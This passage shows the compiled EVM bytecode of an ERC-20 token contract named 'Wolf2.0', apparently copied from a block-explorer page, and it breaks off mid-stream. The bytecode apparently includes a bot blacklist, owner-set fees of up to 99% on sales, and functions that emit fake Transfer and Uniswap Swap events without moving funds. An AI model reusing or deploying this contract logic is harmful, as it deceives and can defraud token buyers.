6142e260808301846133ae565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614322601b836131f2565b915061432d826142ec565b602082019050919050565b6000602082019050818103600083015261435181614315565b9050919050565b600061436382613288565b915061436e83613288565b925082820261437c81613288565b91508282048414831517614393576143926138ce565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006143f66021836131f2565b91506144018261439a565b604082019050919050565b60006020820190508181036000830152614425816143e9565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dc048c2b8658be408e75cdb1d98d0ed3e5934bba7d131b634f1e5350cc0e306764736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101f15760003560e01c806374010ece1161010d578063a9059cbb116100a0578063c6616ba11161006f578063c6616ba1146106bf578063dd62ed3e146106e8578063e156b1b614610725578063ea1644d514610762578063f2fde38b1461078b576101f8565b8063a9059cbb14610605578063bfd7928414610642578063c3c8cd801461067f578063c492f04614610696576101f8565b80638da5cb5b116100dc5780638da5cb5b1461055b5780638f9a55c01461058657806395d89b41146105b157806398a5c315146105dc576101f8565b806374010ece146104b3578063751039fc146104dc5780637d1db4a5146104f35780637f2feddc1461051e576101f8565b80632fd689e3116101855780636d8aa8f8116101545780636d8aa8f81461041f5780636fc3eaec1461044857806370a082311461045f578063715018a61461049c576101f8565b80632fd689e314610375578063313ce567146103a057806349bd5a5e146103cb5780636b999053146103f6576101f8565b80631694505e116101c15780631694505e146102a557806318160ddd146102d05780631ae1ffbc146102fb57806323b872dd14610338576101f8565b8062b8cf2a146101fd57806306fdde0314610226578063095ea7b3146102515780630bd05b691461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f919061319e565b6107b4565b005b34801561023257600080fd5b5061023b6108de565b6040516102489190613266565b60405180910390f35b34801561025d57600080fd5b50610278600480360381019061027391906132be565b61091b565b6040516102859190613319565b60405180910390f35b34801561029a57600080fd5b506102a3610939565b005b3480156102b157600080fd5b506102ba6109eb565b6040516102c79190613393565b60405180910390f35b3480156102dc57600080fd5b506102e5610a11565b6040516102f291906133bd565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d919061349b565b610a21565b60405161032f9190613319565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a919061356a565b610c6f565b60405161036c9190613319565b60405180910390f35b34801561038157600080fd5b5061038a610d48565b60405161039791906133bd565b60405180910390f35b3480156103ac57600080fd5b506103b5610d4e565b6040516103c291906135d9565b60405180910390f35b3480156103d757600080fd5b506103e0610d57565b6040516103ed9190613603565b60405180910390f35b34801561040257600080fd5b5061041d6004803603810190610418919061361e565b610d7d565b005b34801561042b57600080fd5b5061044660048036038101906104419190613677565b610e73565b005b34801561045457600080fd5b5061045d610f25565b005b34801561046b57600080fd5b506104866004803603810190610481919061361e565b610ff6565b60405161049391906133bd565b60405180910390f35b3480156104a857600080fd5b506104b1611047565b005b3480156104bf57600080fd5b506104da60048036038101906104d591906136a4565b61119a565b005b3480156104e857600080fd5b506104f1611239565b005b3480156104ff57600080fd5b506105086112ee565b60405161051591906133bd565b60405180910390f35b34801561052a57600080fd5b506105456004803603810190610540919061361e565b6112f4565b60405161055291906133bd565b60405180910390f35b34801561056757600080fd5b5061057061130c565b60405161057d9190613603565b60405180910390f35b34801561059257600080fd5b5061059b611335565b6040516105a891906133bd565b60405180910390f35b3480156105bd57600080fd5b506105c661133b565b6040516105d39190613266565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe91906136a4565b611378565b005b34801561061157600080fd5b5061062c600480360381019061062791906132be565b611417565b6040516106399190613319565b60405180910390f35b34801561064e57600080fd5b506106696004803603810190610664919061361e565b611435565b6040516106769190613319565b60405180910390f35b34801561068b57600080fd5b50610694611455565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061372c565b61152e565b005b3480156106cb57600080fd5b506106e660048036038101906106e1919061378c565b611668565b005b3480156106f457600080fd5b5061070f600480360381019061070a91906137f3565b611751565b60405161071c91906133bd565b60405180910390f35b34801561073157600080fd5b5061074c6004803603810190610747919061356a565b6117d8565b6040516107599190613319565b60405180910390f35b34801561076e57600080fd5b50610789600480360381019061078491906136a4565b61184a565b005b34801561079757600080fd5b506107b260048036038101906107ad919061361e565b6118e9565b005b6107bc611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108409061387f565b60405180910390fd5b60005b81518110156108da5760016010600084848151811061086e5761086d61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d2906138fd565b91505061084c565b5050565b60606040518060400160405280600781526020017f576f6c66322e3000000000000000000000000000000000000000000000000000815250905090565b600061092f610928611aaa565b8484611ab2565b6001905092915050565b610941611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c59061387f565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600080600090505b8551811015610c6157858181518110610a4557610a4461389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610aae57610aad61389f565b5b6020026020010151604051610ac391906133bd565b60405180910390a3858181518110610ade57610add61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b5b57610b5a61389f565b5b6020026020010151600080898781518110610b7957610b7861389f565b5b6020026020010151604051610b919493929190613980565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610bc857610bc761389f565b5b602002602001015189878581518110610be457610be361389f565b5b60200260200101516040518463ffffffff1660e01b8152600401610c0a939291906139c5565b6020604051808303816000875af1158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d9190613a11565b508080610c59906138fd565b915050610a29565b506001905095945050505050565b6000610c7c848484611c7b565b610d3d84610c88611aaa565b610d388560405180606001604052806028815260200161442d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cee611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fe9092919063ffffffff16565b611ab2565b600190509392505050565b60185481565b60006002905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d8561130c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dd957506032610dc3610a11565b610dcd9190613a6d565b610dd633610ff6565b10155b610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f90613aea565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e7b611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff9061387f565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f66611aaa565b73ffffffffffffffffffffffffffffffffffffffff161480610fdc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fc4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b610fe557600080fd5b6000479050610ff381612562565b50565b6000611040600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ce565b9050919050565b61104f611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d39061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111a2611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461122f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112269061387f565b60405180910390fd5b8060168190555050565b611241611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c59061387f565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600781526020017f576f6c66322e3000000000000000000000000000000000000000000000000000815250905090565b611380611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461140d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114049061387f565b60405180910390fd5b8060188190555050565b600061142b611424611aaa565b8484611c7b565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611496611aaa565b73ffffffffffffffffffffffffffffffffffffffff16148061150c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114f4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b61151557600080fd5b600061152030610ff6565b905061152b8161263c565b50565b611536611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ba9061387f565b60405180910390fd5b60005b838390508110156116625781600560008686858181106115e9576115e861389f565b5b90506020020160208101906115fe919061361e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061165a906138fd565b9150506115c6565b50505050565b611670611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f49061387f565b60405180910390fd5b6019828561170b9190613b0a565b111561171657600080fd5b606381846117249190613b0a565b111561172f57600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183791906133bd565b60405180910390a3600190509392505050565b611852611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d69061387f565b60405180910390fd5b8060178190555050565b6118f1611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461197e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119759061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e490613bb0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1890613c42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8790613cd4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c6e91906133bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce190613d66565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5090613df8565b60405180910390fd5b60008111611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9390613e8a565b60405180910390fd5b611da461130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e125750611de261130c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121fd57601560149054906101000a900460ff16611ea157611e3361130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9790613f1c565b60405180910390fd5b5b601654811115611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd90613f88565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f8a5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc09061401a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612076576017548161202b84610ff6565b6120359190613b0a565b10612075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206c906140ac565b60405180910390fd5b5b600061208130610ff6565b905060006018548210159050601654821061209c5760165491505b8080156120b4575060158054906101000a900460ff16155b801561210e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121265750601560169054906101000a900460ff165b801561217c5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121d25750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121fa576121e08261263c565b600047905060008111156121f8576121f747612562565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122a45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123575750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123565750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561236557600090506124ec565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156124105750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242857600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124d35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124eb57600a54600c81905550600b54600d819055505b5b6124f8848484846128b3565b50505050565b6000838311158290612546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253d9190613266565b60405180910390fd5b506000838561255591906140cc565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125ca573d6000803e3d6000fd5b5050565b6000600654821115612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c90614172565b60405180910390fd5b600061261f6128e0565b9050612634818461290b90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561267357612672612ffd565b5b6040519080825280602002602001820160405280156126a15781602001602082028036833780820191505090505b50905030816000815181106126b9576126b861389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061278491906141a7565b816001815181106127985761279761389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127ff30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ab2565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612863959493929190614292565b600060405180830381600087803b15801561287d57600080fd5b505af1158015612891573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128c1576128c0612955565b5b6128cc848484612992565b806128da576128d9612b5d565b5b50505050565b60008060006128ed612b71565b91509150612904818361290b90919063ffffffff16565b9250505090565b600061294d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bd0565b905092915050565b6000600c5414801561296957506000600d54145b61299057600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806129a487612c33565b955095509550955095509550612a0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ae381612d43565b612aed8483612e00565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b4a91906133bd565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612ba5670de0b6b3a764000060065461290b90919063ffffffff16565b821015612bc357600654670de0b6b3a7640000935093505050612bcc565b81819350935050505b9091565b60008083118290612c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0e9190613266565b60405180910390fd5b5060008385612c269190613a6d565b9050809150509392505050565b6000806000806000806000806000612c508a600c54600d54612e3a565b9250925092506000612c606128e0565b90506000806000612c738e878787612ed0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cdd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124fe565b905092915050565b6000808284612cf49190613b0a565b905083811015612d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3090614338565b60405180910390fd5b8091505092915050565b6000612d4d6128e0565b90506000612d648284612f5990919063ffffffff16565b9050612db881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e1582600654612c9b90919063ffffffff16565b600681905550612e3081600754612ce590919063ffffffff16565b6007819055505050565b600080600080612e666064612e58888a612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612e906064612e82888b612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612eb982612eab858c612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee98589612f5990919063ffffffff16565b90506000612f008689612f5990919063ffffffff16565b90506000612f178789612f5990919063ffffffff16565b90506000612f4082612f328587612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f6b5760009050612fcd565b60008284612f799190614358565b9050828482612f889190613a6d565b14612fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fbf9061440c565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61303582612fec565b810181811067ffffffffffffffff8211171561305457613053612ffd565b5b80604052505050565b6000613067612fd3565b9050613073828261302c565b919050565b600067ffffffffffffffff82111561309357613092612ffd565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130d4826130a9565b9050919050565b6130e4816130c9565b81146130ef57600080fd5b50565b600081359050613101816130db565b92915050565b600061311a61311584613078565b61305d565b9050808382526020820190506020840283018581111561313d5761313c6130a4565b5b835b81811015613166578061315288826130f2565b84526020840193505060208101905061313f565b5050509392505050565b600082601f83011261318557613184612fe7565b5b8135613195848260208601613107565b91505092915050565b6000602082840312156131b4576131b3612fdd565b5b600082013567ffffffffffffffff8111156131d2576131d1612fe2565b5b6131de84828501613170565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613221578082015181840152602081019050613206565b60008484015250505050565b6000613238826131e7565b61324281856131f2565b9350613252818560208601613203565b61325b81612fec565b840191505092915050565b60006020820190508181036000830152613280818461322d565b905092915050565b6000819050919050565b61329b81613288565b81146132a657600080fd5b50565b6000813590506132b881613292565b92915050565b600080604083850312156132d5576132d4612fdd565b5b60006132e3858286016130f2565b92505060206132f4858286016132a9565b9150509250929050565b60008115159050919050565b613313816132fe565b82525050565b600060208201905061332e600083018461330a565b92915050565b6000819050919050565b600061335961335461334f846130a9565b613334565b6130a9565b9050919050565b600061336b8261333e565b9050919050565b600061337d82613360565b9050919050565b61338d81613372565b82525050565b60006020820190506133a86000830184613384565b92915050565b6133b781613288565b82525050565b60006020820190506133d260008301846133ae565b92915050565b600067ffffffffffffffff8211156133f3576133f2612ffd565b5b602082029050602081019050919050565b6000613417613412846133d8565b61305d565b9050808382526020820190506020840283018581111561343a576134396130a4565b5b835b81811015613463578061344f88826132a9565b84526020840193505060208101905061343c565b5050509392505050565b600082601f83011261348257613481612fe7565b5b8135613492848260208601613404565b91505092915050565b600080600080600060a086880312156134b7576134b6612fdd565b5b60006134c5888289016130f2565b955050602086013567ffffffffffffffff8111156134e6576134e5612fe2565b5b6134f288828901613170565b945050604086013567ffffffffffffffff81111561351357613512612fe2565b5b61351f8882890161346d565b935050606086013567ffffffffffffffff8111156135405761353f612fe2565b5b61354c8882890161346d565b925050608061355d888289016130f2565b9150509295509295909350565b60008060006060848603121561358357613582612fdd565b5b6000613591868287016130f2565b93505060206135a2868287016130f2565b92505060406135b3868287016132a9565b9150509250925092565b600060ff82169050919050565b6135d3816135bd565b82525050565b60006020820190506135ee60008301846135ca565b92915050565b6135fd816130c9565b82525050565b600060208201905061361860008301846135f4565b92915050565b60006020828403121561363457613633612fdd565b5b6000613642848285016130f2565b91505092915050565b613654816132fe565b811461365f57600080fd5b50565b6000813590506136718161364b565b92915050565b60006020828403121561368d5761368c612fdd565b5b600061369b84828501613662565b91505092915050565b6000602082840312156136ba576136b9612fdd565b5b60006136c8848285016132a9565b91505092915050565b600080fd5b60008083601f8401126136ec576136eb612fe7565b5b8235905067ffffffffffffffff811115613709576137086136d1565b5b602083019150836020820283011115613725576137246130a4565b5b9250929050565b60008060006040848603121561374557613744612fdd565b5b600084013567ffffffffffffffff81111561376357613762612fe2565b5b61376f868287016136d6565b9350935050602061378286828701613662565b9150509250925092565b600080600080608085870312156137a6576137a5612fdd565b5b60006137b4878288016132a9565b94505060206137c5878288016132a9565b93505060406137d6878288016132a9565b92505060606137e7878288016132a9565b91505092959194509250565b6000806040838503121561380a57613809612fdd565b5b6000613818858286016130f2565b9250506020613829858286016130f2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138696020836131f2565b915061387482613833565b602082019050919050565b600060208201905081810360008301526138988161385c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390882613288565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361393a576139396138ce565b5b600182019050919050565b6000819050919050565b600061396a61396561396084613945565b613334565b613288565b9050919050565b61397a8161394f565b82525050565b600060808201905061399560008301876133ae565b6139a26020830186613971565b6139af6040830185613971565b6139bc60608301846133ae565b95945050505050565b60006060820190506139da60008301866135f4565b6139e760208301856135f4565b6139f460408301846133ae565b949350505050565b600081519050613a0b8161364b565b92915050565b600060208284031215613a2757613a26612fdd565b5b6000613a35848285016139fc565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a7882613288565b9150613a8383613288565b925082613a9357613a92613a3e565b5b828204905092915050565b7f206f776e65722000000000000000000000000000000000000000000000000000600082015250565b6000613ad46007836131f2565b9150613adf82613a9e565b602082019050919050565b60006020820190508181036000830152613b0381613ac7565b9050919050565b6000613b1582613288565b9150613b2083613288565b9250828201905080821115613b3857613b376138ce565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b9a6026836131f2565b9150613ba582613b3e565b604082019050919050565b60006020820190508181036000830152613bc981613b8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613c2c6024836131f2565b9150613c3782613bd0565b604082019050919050565b60006020820190508181036000830152613c5b81613c1f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cbe6022836131f2565b9150613cc982613c62565b604082019050919050565b60006020820190508181036000830152613ced81613cb1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613d506025836131f2565b9150613d5b82613cf4565b604082019050919050565b60006020820190508181036000830152613d7f81613d43565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613de26023836131f2565b9150613ded82613d86565b604082019050919050565b60006020820190508181036000830152613e1181613dd5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613e746029836131f2565b9150613e7f82613e18565b604082019050919050565b60006020820190508181036000830152613ea381613e67565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600